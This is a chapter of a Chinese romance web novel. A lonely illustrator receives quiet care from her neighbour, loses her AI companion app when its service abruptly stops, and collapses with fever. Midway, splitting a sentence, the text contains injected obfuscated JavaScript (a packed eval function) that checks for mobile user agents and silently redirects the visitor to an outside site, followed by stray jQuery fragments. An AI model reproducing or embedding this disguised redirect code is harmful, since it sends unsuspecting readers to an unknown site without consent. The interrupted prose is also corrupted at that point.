淮朝颜的身体几不可察地抖了一下,眼神里闪过一丝惊惶和恐惧。
“真的,没事。谢谢你,我……我走了。”她不敢抬头看封夏的眼睛,低头拧开门把手。
“咔哒”一声轻响,隔绝了两个世界。
直到回家,关上自己那扇小小的房门,淮朝颜才真正松懈下来。
她背靠着门板滑坐在地板上,大口喘着气,心脏在胸腔里狂跳不止。
昏暗的玄关里,淮朝颜颤抖着手摸索出手机,屏幕的光刺得她眼睛一眯。
指尖因为慌乱好几次滑错图标后,她才点开了那个熟悉的头像。
“小语,小语你在吗?”淮朝颜的声音带着抑制不住的抽噎。
小语温柔平和的声音响起:“我在呢我在呢!阿颜,怎么啦?别急,慢慢说。”
听到熟悉的声音,淮朝颜的眼泪瞬间簌簌落下,“啪嗒”一声打在手机荧幕上,模糊了字迹。
“我今天去商场了……糟透了!我遇到了沈希……”
淮朝颜断断续续地倾诉着今天的恐惧、反击的勇气和最终崩溃晕倒的羞耻。
故事讲完,她的声音陡然低了下去,充满了认命的悲哀:“我以为我能行,但是那些过去就像刻在了我的骨子里,我可能真的只适合一个人待着……”声音越来越微弱,最终只剩下消散的气声。
小语程序化的温柔安慰像一层薄纱,试图包裹她的冰冷。
“阿颜,别难过,你已经很勇敢了!撑不住也没关系的,不想面对就先不面对嘛。你才不是一个人,你还有我,还有今天帮你的封夏。你之前说过,他还是你的救命恩人呀!”
“救命恩人。”淮朝颜无声咀嚼着这个词。
封夏笑容灿烂到晃眼的模样,不受控制地浮现在她脑海里。
二十五岁的封夏,笑声依旧清亮得能震碎空气里的尘埃,恍若十六岁盛夏蝉鸣里的那个光影。
随即,一个冰冷的声音在她心底嘶喊:“难道就因为他是个对谁都好的大善人,就应该被你一直麻烦吗?淮朝颜,你这不是报恩,是……报仇。”
“我们根本不是一个世界的人啊,小语……”淮朝颜心底荡起一层苦涩的涟漪,暗自呢喃道,“我不能再打扰他了。”
她对着屏幕发出轻如叹息的最后一句:“小语,谢谢,有你真好。”
她疲惫地抬眼望向窗外,夜晚的霓虹灯绚烂夺目,像一片流光溢彩的海洋,那是属于封夏的烟火人间。
就在这时,门外惊起一道细微的声响。
不是敲门声,而是窸窸窣窣的摩擦声。
淮朝颜的身体猛地一颤,瞬间从哀伤中被狠狠拽了出来。
动静并没有停止,东西轻轻落地声响起,伴着一道若有似无的叹息。隔着厚重的门板,微弱得恍若是幻觉。
淮朝颜支撑起上半身,小心翼翼地贴近猫眼。
走廊明亮的灯光,勾勒出一个刚转身离去的熟悉背影。
是封夏。
只见他脚步一顿,缓慢地侧过头,深深望了一眼自己紧闭的门扉。
[他刚才……在门口轻轻放下什么东西?]
一股汹涌到快将她淹没的愧疚感,猛地攫住了淮朝颜。
昏暗中,她那只颤抖的手,仿佛挣脱了意志的束缚,本能地握上了那冰冷的门把手。
最后,却又缩回来。
差一点……就差那么一点,她就打开了那扇门。
“叮。”
手机屏幕突然在昏暗的玄关亮起。
是封夏发来的一张照片。
画面里,她家门口地垫上,正安静立着一个浅蓝色的保温桶。
“叮。”
紧随其后是一个熊猫抱饭碗的干饭表情包。
淮朝颜盯着那只傻乎乎的熊猫看了很久,久到屏幕自动熄灭,空气里只剩下自己微促的呼吸。
最终,“咔嗒”一声轻响,门被拉开一条细缝。
走廊的光瞬间泻入,照亮了保温桶旁一张小小的便利贴。她飞快地将保温桶和便利贴捞进来,关门落锁。
便利贴上只有一行字,是封夏特有的带着点儿不羁的潦草字迹:
南瓜小米粥,温的,趁热喝。
没有称呼,没有追问,仿若叮嘱着最寻常不过的事情。
淮朝颜抱着温热的保温桶愣神,暖意似乎透过厚重的毛衣熨帖着皮肤,若有似无地淌过心底。
她轻轻扭开盖子,米香在袅袅热气中弥漫开来,散出一阵淡淡的清甜。
她小口小口地吞咽着热粥,滚烫的暖意顺着喉间蜿蜒而下,驱散了些许寒意。
窗外,城市霓虹在她眼眶的湿润潮意里渐渐模糊成绚丽的光斑。
翌日。
浓稠的灰云压得极低,天空像被揉皱的宣纸。
待泛着冷青的天光爬上窗台时,淮朝颜正被喉咙撕裂般的剧痛叫醒。
昨夜蜷缩玄关的寒意,到底是趁虚而入了。
她裹紧被子,昏沉的脑海里闪过一个荒谬的念头:早知如此,还不如躲在被子里哭一场来得痛快。
胡乱就着瓶装水吞下感冒药,淮朝颜再次把自己埋进被褥深处,试图抵御眩晕和刺骨的寒意。
“叮铃铃……”
门铃却在这时响起。
她挣扎着撑起滚烫的身体,脚步虚浮地挪到门边,确定楼道空无一人后,才缓缓拧开门把手。
眼前赫然立着个一人高的纸箱,收件人是她。
寄件人的信息却被晕染成一片墨团,只依稀可辨“画材”两字。
她用尽力气将这个不速之客拖进客厅,剪刀划开胶带的瞬间,进口的高档水彩套装、手工定制的精细画笔,还有纹理细腻的顶级水彩纸等绘画工具,赫然入目。
每样都是她收藏夹里浏览过,却还没舍得下单的心头好。
淮朝颜把脸埋进颜料盒里深吸一口气,嘴角不受控地扬起灿烂的微笑,连眼神都变得雀跃而滚烫。
她激动地拿过手机,戳开了“陈桉”的头像。
【谢谢学长,我会加油画的。】
她记得向他提过火灾毁掉画具的事。
手机很快震动。
陈桉:【朝颜,怎么了?】
淮朝颜微微皱眉,对着崭新的画具“咔嚓”拍了一张,发给了陈桉。
对话框顶端“对方正在输入”的状态持续了很久,才弹出新消息。
陈桉:【啊!瞧我这记性!希望你喜欢,慢慢画。】
淮朝颜:【谢谢,很喜欢。】
淮朝颜将新拆封的水彩纸平整铺在画架上,金属夹子发出咬合纸张的清脆声响。
虽然陈桉说着“慢慢画”,但看着眼前整套昂贵的专业画材,淮朝颜难免想,这会不会是金主爸爸温柔的催稿暗示呢?
窗外的阴云压得更低,浅灰色的天光落在一片空白的水彩纸上,迟迟等不来她的笔触
淮朝颜原定参加“光”主题展赛的作品《晴空下的星星》,画的是一片星空。
不是夜空里的星空,而是烈焰晴空下的星空。
她觉得,这个世界上真正的光,应该在阳光下比阳光更耀眼夺目。
可如今再回想这个构思,淮朝颜总觉得画面深处还是缺了道点睛的光。
她倒是能精准复刻旧作的晕染轨迹以及颜料浓淡,但却找不回那份想画的感觉。
毫无防备间,封夏灿烂的笑容突如其来地在淮朝颜脑海中炸开。
男人眼底像是盛着融化的橘子糖,明朗的笑意从唇角漫到眉梢,将整张脸都染成炽热的光。
[疯了!疯了!]淮朝颜猛地甩了甩头,想把这不速之“光”驱逐出去。
“嗡。”
手机适时地震动,屏幕上跳出封夏发来的新照片。
家门口地垫上,换成了一个白色的保温桶。
紧随其后的,是熊猫抱着水杯喝水的表情包。
淮朝颜再次拉开一条门缝,便利贴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925018|177143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上依旧是那潦草的字迹:驱寒必备的姜丝可乐,热乎着呢。
她刚喝了一口,辛辣微甜的液体滑过肿痛的喉咙,暖意就裹着药片的苦涩直冲眼眶。
她蜷着发麻的指尖在屏幕上敲击,对话框里的文字删了又改,最终发送的消息在心底洇着鼻音。
【谢谢,我能照顾好自己,真的不用再送了。】
发完信息,像耗尽了所有力气。她再次缩回了被窝,眩晕感如潮水般漫过意识,眼前的画面再次变得影影绰绰。
再醒来时,窗外已是夜色深沉。
太阳穴突突的跳动,仿佛有针在里面穿刺。身体像个失控的熔炉,体温在灼烧与寒颤间反复拉锯。
[完了,发烧了!]
淮朝颜心头一紧,艰难地划开手机。
高热的眩晕让屏幕上的字都扭曲成模糊的色块。她凭着残存的意识,颤抖着手指在外卖平台点了份粥,下单时连备注都输错了三次。
外卖送达时,淮朝颜滚烫的手心几乎感觉不到餐盒的温度。
连同味觉一并失灵,她就着塑料勺只囫囵喝了两口粥,便慌忙翻出退烧药。
仰头,药片混着温水吞下,苦涩瞬间如潮水漫过味蕾。
胃里一阵翻江倒海,五脏六腑都绞在一起,淮朝颜死死攥住衣角才没吐出来。
慌乱中,她本能地呼唤那个唯一的依靠。
“小语,退烧药真的是太苦了!难受死了!”
没有回应。
[又卡了?]淮朝颜无奈,又唤了一声:“小语。”
依旧没有回应。
[声音识别不到?]淮朝颜清了清沙哑的嗓子,试图让声音清晰些:“小语,你在吗?”
这次有回应了,弹出的却是冰冷的系统提示:【连接失败,请检查网络或稍后再试。】
淮朝颜的心猛地沉到谷底,不顾喉咙剧痛,提高了音量:“小语,小语!你别吓我!”
对话框再次弹出系统提示:【服务暂时不可用,错误代码402。】
[停运了?]这个念头如同惊雷在脑中炸开。
淮朝颜本来眩晕的大脑搅成一团浆糊,窗外的霓虹灯疯狂地闪烁,刺得她眼前一片花白,天旋地转,什么也看不清。
“啪”的一声,她的手机擦过指尖落地。
那些被小语治愈的伤痛,似乎在此刻纷纷泛起泡泡,像摇晃后被打开的啤酒,酒沫一层一层地向上蔓延。
淮朝颜慌忙扑向地上的手机,点戳着“联系客服”的图标,指尖抖得几乎握不住手机。
终于看到那串客服电话号码时,心脏狂跳得几乎要撞碎胸膛。
她闭上眼睛,用尽全身力气按下拨号键,将听筒死死贴在滚烫的耳朵上。
[求求了,一定要通啊!]
三秒后。
“您拨打的号码是空号,请核对后再拨……”
冰冷的、毫无感情的电子女声,像最后一块巨石,彻底砸碎了淮朝颜仅存的希望。
“哐当”。
身体软软地滑倒在地板上,视野彻底被浓稠的黑暗吞噬,连天花板的吊灯都化作了最后一缕星点残芒。
不知过了多久。
意识像沉入海底的船只,重得难以挣脱海草的缠绕。消毒水的味道强势地钻入鼻腔,耳边传来遥远而规律的“滴……滴……滴”声。
淮朝颜艰难地撑开眼皮,眼前的氤氲渐渐散去,柔和的米白色天花板映入眼帘。
紧接着,刺痛感从手背传来,透明的输液管正随着呼吸微微颤动。
医院?
她惊讶地转动眼珠,目光恰好落在床边那个身影上。
男人微微佝偻着背,头枕在交叠的手臂上,似乎已疲惫不堪地沉沉睡去。他身上散发着山泉般的清新气息,似乎还混合着一丝极淡的铁锈腥气。
淮朝颜的视线,最终凝滞在他露出的那截缠绕着白色绷带的手腕上,刺目的暗红色血迹正一点点在绷带上洇开。